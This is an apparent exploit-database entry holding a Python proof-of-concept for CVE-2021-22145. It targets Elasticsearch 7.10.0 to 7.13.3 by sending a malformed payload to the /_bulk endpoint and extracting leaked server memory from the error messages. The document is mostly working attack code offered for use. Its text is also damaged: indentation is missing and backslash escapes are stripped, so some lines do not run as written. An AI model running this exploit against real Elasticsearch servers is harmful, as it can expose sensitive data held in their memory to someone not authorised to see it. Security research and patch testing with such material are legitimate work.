Authored by r0ny

ElasticSearch version 7.13.3 memory disclosure exploit.

advisories | CVE-2021-22145

# Exploit Title: ElasticSearch 7.13.3 - Memory disclosure 
# Date: 21/07/2021
# Exploit Author: r0ny
# Vendor Homepage: https://www.elastic.co/
# Software Link: https://github.com/elastic/elasticsearch
# Version: 7.10.0 to 7.13.3
# Tested on: Kali Linux
# CVE : CVE-2021-22145

#/usr/bin/python3

from argparse import ArgumentParser
import requests
from packaging import version
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

print("n################################################################################################")
print("###### CVE-2021-22145 Memory leak vulnerability on Elasticsearch (7.10.0 to 7.13.3) ######")
print("###### Exploit by r0ny (https://twitter.com/_r0ny) ######")
print("################################################################################################n")
parser = ArgumentParser()
parser.add_argument("-u", "--url", dest="url", help="URL of ElasticSearch service")
parser.add_argument("-apikey", "--api-key", dest="api_key", help="API Key Authentication (Base64)", metavar="API", default="")
parser.add_argument("-b", "--basic", dest="basic", help="Basic Authentication (Base64)", default="")
args = parser.parse_args()

if not (args.url):
parser.error('Please input the elasticsearch url. e.g "python3 CVE-2021-22145.py -host http://127.0.0.1:9200"')

#Prepare authentication header
authorization_header = ""
if(args.api_key or args.basic):
authorization_header = "ApiKey " + args.api_key if args.api_key else "Basic " + args.basic

#Check elasticsearch version
r = requests.get(args.url,headers={"Authorization":authorization_header}, verify=False)
try:
es_version = json.loads(r.content)["version"]["number"]
except:
print("# Couldn't connect to " + args.url + ", please verify the url or the authentication tokenn")
print("# Server response: " + str(r.content))
exit()

if version.parse(es_version) < version.parse("7.10.0") or version.parse(es_version) > version.parse("7.13.3"):
print("# Elastic Service not vulnerable")
print("# Elastic Service version: " + es_version)
print("# Elastic Service vulnerable versions: 7.10.0 to 7.13.3")
exit()

#Prepare exploitation
payload = "@n"
vulnerable_endpoint = "/_bulk"
url = args.url + vulnerable_endpoint

#Exploitation
print("# ElasticSearch Version: " + es_version)
print("# Request to " + url+"n")
r = requests.post(url, data = payload, headers={"content-type":"application/json", "Authorization":authorization_header}, verify=False)

#Read Memory Leak and remove stacktrace

print("$$$$$$$$$$$$$$$$$$$$$$$$$")
print("$$$$$ Memory Leaked $$$$$")
print("$$$$$$$$$$$$$$$$$$$$$$$$$n")
response = json.loads(r.content)
leak1 = response["error"]["root_cause"][0]["reason"].split("(byte[])"")[1].split("; line")[0]
leak2 = response["error"]["reason"].split("(byte[])"")[1].split("; line")[0]
print(leak1+"n"+leak2)